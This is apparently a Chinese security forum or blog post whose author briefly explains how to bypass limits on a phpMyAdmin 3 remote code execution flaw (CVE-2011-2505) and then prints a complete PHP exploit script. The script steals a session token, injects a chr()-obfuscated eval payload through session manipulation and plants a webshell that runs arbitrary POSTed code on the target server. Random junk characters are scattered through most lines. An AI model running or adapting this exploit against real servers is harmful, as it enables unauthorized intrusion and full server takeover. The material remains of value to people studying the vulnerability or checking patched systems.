最近在家做专职奶爸,不谙圈内事很多months了,博客也无更新。; z [ m! V8 l/ }* Q6 ]' K
( r$ B- a3 ]0 |, H
昨夜带孩子整夜未眠,看到黑哥在php security群里关于phpmyadmin3漏洞的讨论,虽然之前没看过漏洞代码,不过前段时间还是在微博上看到wofeiwo的exp了,不过据黑哥说有不鸡肋的利用方法,于是夜里翻代码出来研究了翻,写出了这个冷饭exp,由于我搞的晚了,之前已经很多人研究了写exp了,于是我这个属于炒冷饭,权当研究研究打发时间了。
+ g6 U4 E9 u7 @2 C
" n# o H3 z# W( T0 |4 c首先赞下wofeiwo的python版本的exp,再赞下wofeiwo跟superhei的钻研精神,学习的榜样啊。不过之前那个exp利用起来是有一些限制的:5 r% M/ e: r% `& o# e' F3 O3 C
一是session.auto_start = 1;# C" ^' a1 a# s% f$ Q
二是pma3默认代码里libraries目录已经用.htaccess控制了不允许访问。 x$ w }" ^$ L
当然还有第三点大家都不可以逾越的鸿沟:config目录存在且可写。
: J. v5 ?0 r5 R2 p: P
H1 }; l3 l0 ]在群里看了黑哥的发言后,再看了下代码,发现前两点利用限制均可以无视。所以其实这个漏洞还真的可以不是那么鸡肋。
) n# I, x' N- o8 ^" G
, V/ A+ m& u) H7 ?0 W于是写了这个php版本的exp,代码如下:( d0 Q: m0 F+ Z$ O% ]7 n
/ h& t- q- p( h5 `9 Z, y
#!/usr/bin/php% d0 M; E$ |6 G8 b: z
<?php- m* D- `; Q5 H6 J" k3 {. n' o! P
print_r('
( R9 I8 I% i- m+---------------------------------------------------------------------------+
8 K. |; S, P( X" N- epma3 - phpMyAdmin3 remote code execute exploit [Not jilei(chicken\'s ribs)]; }+ E0 c4 K' }: n
by oldjun(www.oldjun.com) F8 C5 `- p! s
welcome to www.t00ls.net
5 s; p. a2 M8 ]6 ~- ~) x1 _) Pmail: oldjun@gmail.com
. {; z( k% z/ h# T; UAssigned CVE id: CVE-2011-2505" O3 }2 o3 `2 l [) V* X/ i: Y
+---------------------------------------------------------------------------+
& V. @" R' l9 {, h6 @* N# M) T');
! }+ C4 R; h# W$ d- C( S3 W) u* \4 A, M8 X
/**
, `& h' a8 X! ^ * working when the directory:"config" exists and is writeable.
$ S. a" f. Z7 o" I7 T# K**/
3 a, ?9 c# F0 b* t' a9 u' T0 C 0 S7 g7 ]) w0 o6 T
if ($argc < 3) {
0 w" [+ O5 v( C& ?4 d" g print_r('- s- S9 W" E' _! _$ c
+---------------------------------------------------------------------------+1 q0 l4 ]' Z) @( k
Usage: php '.$argv[0].' host path0 u: M' K! T1 M) z" G
host: target server (ip/hostname)
6 ? l" q( p$ G* }6 gpath: path to pma3$ v$ O* q$ p* v6 P/ J5 w, w, b* {
Example:
: f3 G- {/ y* m; t* y' P$ \7 F/ Lphp '.$argv[0].' localhost /pma/2 d# S Q5 O5 b8 W- b' m
+---------------------------------------------------------------------------+
; ?$ C3 L5 C& g! D) A& Y+ ^8 S');2 r# S2 U: f. ]
exit;
. a2 T/ A9 g; l0 F}
5 m. Z% ]8 F3 G, U& ^# W' c+ V& @0 O# \& O7 G
$host = $argv[1];3 q0 r) R g9 m' R4 |, X' p6 M9 r
$path = $argv[2];
1 D! I" s% ]9 _1 h! ^2 l3 w) z$ g; L$ K! k6 n5 y$ L: i( V
/**: w5 |& b6 q0 x, f s3 @( }
* Try to determine if the directory:"config" exists
' e# p4 O! }" U( q4 E6 q- i**/
J \$ E8 Y n; eecho "[+] Try to determine if the directory:config exists....\n";* U `3 b7 U% z# i
$returnstr=php_request('config/');/ C/ S9 ]( Y+ z. w1 T4 X( L8 o
if(strpos($returnstr,'404')){
9 S# [/ Y$ d6 w3 F5 i exit("[-] Exploit Failed! The directory:config do not exists!\n");
4 H% ]' W: l0 P2 I' U( t}
/ k* P& ~% x0 P# |* d6 U% u! y2 w- J5 p+ l& w
/**8 k- [$ e M$ K" K3 \2 e' @7 j2 m
* Try to get token and sessionid; R% }% f0 K. P* Y+ e3 {
**/
% [, W9 }# Y% qecho "[+] Try to get token and sessionid....\n";
; D u8 W* N1 H' L. p- ^1 ]8 ^$result=php_request('index.php');
9 c. z+ d3 |- y, E; gpreg_match('/phpMyAdmin=(\w{32,40})\;(.*?)token=(\w{32})\&/s', $result, $resp);
$ q6 X+ S! V8 Z$token=$resp[3];5 F% q4 g+ N0 Y2 x$ H! T6 f$ N
$sessionid=$resp[1];4 u! ?' N) x& [) Q( i; v8 P
if($token && $sessionid){5 ~" x6 M: H8 e( _+ r) C, b k, o8 K
echo "[+] tokentoken\n";
4 Y7 c4 q1 Y/ q echo "[+] Session IDsessionid\n";
$ Y: q9 J, i) n6 t' y8 X}else{
( P3 x/ X& z0 T exit("[-] Can't get token and Session ID,Exploit Failed!\n");- V Z: l/ J! i7 |& s
}9 V s+ q9 i7 g# Z6 y
2 v# _; C6 e1 T/ y, K
/**! x' K" ^! x1 E/ w* E7 G3 y
* Try to insert shell into session; ?8 F8 \: \# a, W* ?* F
**/" c7 H- d, K0 R3 K6 P* ~, M0 N
echo "[+] Try to insert shell into session....\n";1 W. u3 n! e2 |% J
php_request('db_create.php?token='.$token.'&session_to_unset=t00ls&_SESSION[ConfigFile][Servers][*/eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59).chr(101).chr(99).chr(104).chr(111).chr(40).chr(39).chr(116).chr(48).chr(48).chr(108).chr(115).chr(39).chr(41).chr(59));/*][host]=t00ls.net','','phpMyAdmin='.$sessionid);//Actually,almost all the php files in home directory of pma3 can be used here.2 w# H5 V1 G/ _8 e& `2 z6 J4 S9 g$ g
3 L( V' f3 h/ D5 i2 v6 V' j
/** e) f6 {; p; ^8 m. f
* Try to create webshell0 ?0 Q* P1 _% `# B
**/; P( d8 E' _9 D$ c3 o( M: k
echo "[+] Try to create webshell....\n";/ r3 Z( J D* R, _4 P, R# {# `
php_request('setup/config.php','phpMyAdmin='.$sessionid.'&tab_hash=&token='.$token.'&check_page_refresh=&DefaultLang=en&ServerDefault=0&eol=unix&submit_save=Save','phpMyAdmin='.$sessionid);
& e! S" o: o$ u/**
& u$ Z/ H1 x- n * Try to check if the webshell was created successfully) O/ f* p/ G- L' ?2 {2 d" v1 J, z
**/
" f+ J( \. t6 _$ c+ P- Vecho "[+] Try to check if the webshell was created successfully....\n";
7 u, P8 |3 A! G, x$ r$content=php_request('config/config.inc.php');0 w1 t8 { J( A0 z/ `
if(strpos($content,'t00ls')){0 m+ q1 ~3 U' }( j0 {, Q# `& [
echo "[+] Congratulations! Expoilt successfully....\n";
7 _9 J# J6 ^2 A. I$ k echo "[+] Webshell:http://$host{$path}config/a.php eval(\$_POST[cmd])\n";
/ t9 _0 @; b2 G+ R}else{
, J, ^5 B2 I1 e8 | v exit("[-] Exploit Failed! Perhaps the directory:config do not exists or is not writeable!\n");( t) ?+ H9 ^+ V: \8 P3 W
}% X) i6 _( V$ E9 v" `/ K
& `6 n* z# o6 Z7 B# M
function php_request($url,$data='',$cookie=''){9 ~1 Z7 D t) x1 [! B7 {0 N
global $host, $path;
8 C& ?* O& g/ Q/ } + {1 T, ?& _, |. E! j
$method=$data?'POST':'GET';
% d, f. O1 d+ M$ r$ ^
' j0 ]5 M: J8 M $packet = $method." ".$path.$url." HTTP/1.1\r\n";
F8 J& v4 A" V& { $packet .= "Accept: */*\r\n";' d4 r z% R# [. s# e$ s
$packet .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";/ P3 r& X& L7 F4 {" e
$packet .= "Host: $host\r\n";% a' L' C t0 q) S% A% a5 e1 d
$packet .= $data?"Content-Type: application/x-www-form-urlencoded\r\n":"";
# q4 r* ~# E9 V- Y7 Z $packet .= $data?"Content-Length: ".strlen($data)."\r\n":"";
# q, b9 e, m3 S& Z1 Z# G $packet .= $cookie?"Cookie: $cookie\r\n":"";
* @% p) A# S2 j3 w5 P' M/ x$ L' l5 E/ z $packet .= "Connection: Close\r\n\r\n";
4 L' m- E+ j+ p3 j2 I3 x $packet .= $data?$data:"";
4 p- U. {; a0 M4 B- h$ H- }6 y
0 `. O7 ]9 g x O7 R% r( V5 o $fp = fsockopen(gethostbyname($host), 80);" _( x Q% A8 G, ^8 ^, S
if (!$fp) {
: k$ U. B8 v' `9 v echo 'No response from '.$host; die;
4 V; g9 o6 d6 R7 |- x- Z9 d }+ q, ?: ?6 D# e% y
fputs($fp, $packet);
! q2 |) e6 Y" n% A5 n1 M/ x& E; Z
7 J6 o- D% m( I+ |; ~ $resp = '';9 K5 X) |! p( J7 r
; s+ ^' n; G( p$ j1 V while ($fp && !feof($fp))
9 D R, |9 b% ]" c' b; G $resp .= fread($fp, 1024);
/ V- B1 H% G" o. r4 t" z. _1 f; S1 m+ T1 O! U" z8 q4 @% O7 g
return $resp;7 V/ z; e) Q2 P* f4 f$ Y! k9 U
}
( k8 Q7 A2 B) W+ z2 i
$ q& v9 i9 ^! l4 r6 T2 @?> / X* t$ L: | y
. |